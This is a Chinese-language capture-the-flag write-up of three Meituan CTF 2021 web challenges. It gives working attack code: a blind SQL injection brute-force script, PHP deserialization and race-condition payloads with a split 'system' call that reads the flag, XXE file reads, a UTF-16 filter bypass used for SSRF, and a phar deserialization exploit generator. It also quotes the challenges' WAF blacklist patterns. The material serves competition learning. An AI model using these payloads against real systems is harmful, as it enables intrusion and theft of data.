美团 CTF 2021
Web
sql
简单的正则盲注,将找到的脚本简单修改即可跑出密码。
import string
import requests
def str_hex(litter):
str = ''
for i in litter:
str += hex(ord(i)).replace('0x', '')
return '0x5e' + str
string = string.ascii_lowercase + string.ascii_uppercase + string.digits + '_'
flag = ''
for i in range(100):
for j in string:
print(j)
url = '.../index.php'
data = {
'username': 'null\\',
'password': '||(`password`/**/regexp/**/binary/**/{})#'.format(str_hex(flag + j))
}
res = requests.post(url=url, data=data).text
if 'flag' in res:
flag += j
print(flag)
break
else:
pass
运行脚本可以得出密码为 This_1s_thE_Passw0rd
,使用用户名 admin
配合登录即可获得 flag。
flag{afccfbe8-a333-4eed-86ca-1b1967ffb0ae}
easytricks
发现有 /admin
路由,同时可以找到部分原题。
使用 admin 作为用户名,密码 GoODLUcKcTFer202OHAckFuN
即可成功登录上去。登录之后可以找到如下提示。
<!-- /admin/admin.rar -->
将源码下载下来,可以在 preload.php 下发现如下关键的源码。
<?php
session_save_path('session');
session_start();
class preload{
public $class;
public $contents;
public $method;
public function __construct(){
$this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}\$hack=";
$this->contents="new hacker();phpinfo();";
$this->method="\$hack->hack();";
}
public function waf($parm){
$blacklist="/flag|pcntl|system|exec|fread|file|fpassthru|popen|proc|ld|putenv|passthru|`|\.|\\\|#|\\$|[0-9]|_|get|~|\\^|eval|assert|open|write|include|require/is";
return preg_match($blacklist,$parm);
}
public function write(){
if($this->waf($this->contents)||strlen($this->contents)>60||preg_match_all('/\\(/i',$this->contents,$matches)>2||preg_match_all('/\\)/i',$this->contents,$matches)>2){
die("<br>"."no no no");
}
if(preg_match_all('/;/i',$this->contents,$matches)>2){
die("<br>"."try hard");
}
if(file_exists(dirname(__FILE__)."/hack.php")){
unlink(dirname(__FILE__)."/hack.php");
}
file_put_contents(dirname(__FILE__)."/hack.php",$this->class);
file_put_contents(dirname(__FILE__)."/hack.php",$this->contents,FILE_APPEND);
file_put_contents(dirname(__FILE__)."/hack.php",$this->method,FILE_APPEND);
}
public function __wakeup(){
$this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}\$hack=";
$this->method="\$hack->hack();";
}
public function __destruct(){
$this->write();
}
}
$a=$_POST['a'];
var_dump(unserialize($a));
$preload=new preload();
?>
<a href="./hack.php">hack.php</a>
<a href="./cli.php">cli.php</a>
可以发现存在反序列化的可控制点。只需要将内容拼接在 $this->contents
中即可写入到 hack.php 中,但是马上就会被 $preload=new preload();
重新覆盖掉,因此考虑条件竞争。构造出如下脚本生成反序列化载荷。
<?php
class preload
{
public $class;
public $contents;
public $method;
public function __construct()
{
$this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}\$hack=";
$this->contents="'a';?><?php phpinfo() ?>";
$this->method="\$hack->hack();";
}
}
echo urlencode(serialize(new preload()));
将生成的载荷以参数 a
提交给 preload 的同时条件竞争访问 hack.php 即有机会触发到 phpinfo。可以得到如下 disable_functions 列表。
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
可以发现其中没有过滤 system()
,因此只需要拼接一下即可运行从而得到 flag。构造出如下载荷。
implode(["sys", "tem"])("cat /fla*")
将其拼接在 $this->contents
中重新生成载荷然后条件竞争即可得到 flag。
flag{7b154242-df8e-47df-81dd-4807644335fa}
xx_elogin
登录页面的源码可以看出 /api.php
的 XXE,简单构造出如下载荷读取文件。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe PUBLIC "" "php://filter/convert.base64-encode/resource=api.php" >]>
<foo>&xxe;</foo>
可以读到如下源码。
<?php
error_reporting(0);
session_start();
$username = $_GET['username'];
$password = $_GET['password'];
// 哈哈,我数据库都不用你还能秒我。
if($username === 'guest' && $password === 'guest111222333444555666@#$!'){
$_SESSION['is_admin'] = '0';
header("Location:guest.php");
}
elseif($username === 'admin' && $password === 'admin' && $_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
// 仅允许管理员从本地访问,这样总安全了吧!!!
$_SESSION['is_admin'] = '1';
include('admin.php');
}else{
echo 'username or password error';
}
?>
可以得到两份密码,同时考虑使用 SSRF 来登录管理员账户,因此考虑使用 XXE 来进行 SSRF。可以发现如下过滤。
<?php
error_reporting(0);
$xmlfile = file_get_contents("php://input");
if(preg_match('/system/i',$xmlfile)){
die('hacker go out!');
}
if(preg_match('/http/i',$xmlfile) && preg_match('/dtd|ENTITY/i',$xmlfile)){
die('禁止出网');
}
$dom = new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$result = simplexml_import_dom($dom);
$result = sprintf("<result><msg>%s</msg></result>",$result);
echo $result;
?>
此时可以使用 UTF-16 编码来绕过判断从而达成 SSRF。
<?php
$REAL_PAYLOAD = "http://127.0.0.1:80/login.php";
$XXE_PAYLOAD = /** @lang text */
<<<PAYLOAD
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe PUBLIC "123" "PAYLOAD" >]>
<foo>&xxe;</foo>
PAYLOAD;
$XXE_PAYLOAD = str_replace("PAYLOAD", $REAL_PAYLOAD, $XXE_PAYLOAD);
$XXE_PAYLOAD = iconv('utf-8', 'utf-16', $XXE_PAYLOAD);
此时生成出来的载荷即可成功 SSRF。结合如下代码里的文件上传和管理员登录后的 readgzfile()
函数的调用,考虑触发利用 phar 反序列化。
<?php
error_reporting(0);
session_start();
if($_SESSION['is_admin'] !== '0'){
die("you don't have permission");
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>welcome guest</title>
</head>
<body>
<h2>图片库</h2>
<div>
<p>既然来了,就留下点什么吧(ಡωಡ)hiahiahia</p>
</div>
<form action="guest.php" method="post" enctype="multipart/form-data">
<label for="pic">文件名:</label>
<input type="file" name="pic" id="pic"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>
</html>
<?php
if(isset($_FILES['pic'])){
$file = $_FILES['pic'];
$file_size = $file['size'];
if($file_size > 2*1024*1024){
echo 'pic too long';
return false;
}
$file_type = $file['type'];
if($file_type != 'image/jpeg' && $file_type != 'image/gif' && $file_type != 'image/png'){
echo 'file type error';
return false;
}
$ext = end(explode('.', $file['name']));
if(!in_array($ext,array('jpg','png','gif'))){
echo 'file ext error';
return false;
}
if(is_uploaded_file($file['tmp_name'])){
$upload_file = $file['tmp_name'];
$user_path = './uploads/';
$filename = time().rand(1,100).'.'.$ext;
if(move_uploaded_file($file['tmp_name'],$user_path.$filename)){
echo $user_path.$filename;
}
}
}
?>
<?php
session_start();
class secret{
public $hint;
private $flag;
public function __construct(){
$this->hint = 'readfile';
}
public function __destruct(){
$this->flag = getenv('ICQ_FLAG');
$what_you_want = $this->flag;
eval('$flag'.'= create_function("",\'echo "' . $what_you_want . '";\');');
$hint = $this->hint;
$hint('hinttttttttttttttttttttttttttttttt.txt');
}
}
if($_SESSION['is_admin'] !== '1'){
echo 'only admin can see flag';
}elseif($_SESSION['is_admin'] === '1'){
echo 'welcome admin!!!';
// $secret = new secret();
$dir = scandir('./uploads');
unset($dir[0]);unset($dir[1]);
$beautiful = $_GET['jpg'];
$flag_pic = $beautiful ? $beautiful:$dir[array_rand($dir,1)];
if(!preg_match("/^phar|smtp|compress|dict|zip|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$flag_pic)){
chdir('./uploads');
if(readgzfile($flag_pic)){
copy($flag_pic,'../lovestpic/lovest_'.time().'.pic');
}
}
}
?>
因为代码中只有一个类,因此考虑利用这个类。代码中匿名函数的创建提供了利用点,因为匿名函数实际上有名称为 %00lambda_\d
的默认名称。因此只需要让 $hint
取到匿名函数的默认名称即可触发匿名函数读取到环境变量中的 flag。构造出如下脚本来生成 phar 载荷。
namespace MakePhar {
use Phar;
class secret{
public $hint;
public function __construct(){
$this->hint = urldecode("%00lambda_3");
}
}
function MakePhar(){
$phar = new Phar("EXP.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new secret());
$phar->addFromString("exp.txt", "actuallyNothingHere");
$phar->stopBuffering();
}
}
将生成的载荷以 jpg 拓展名作为图片上传,然后 SSRF 到 ?username=admin&password=admin&jpg=zlib:phar://{$filename}
触发文件的解压即可触发到 phar 反序列化从而得到 flag。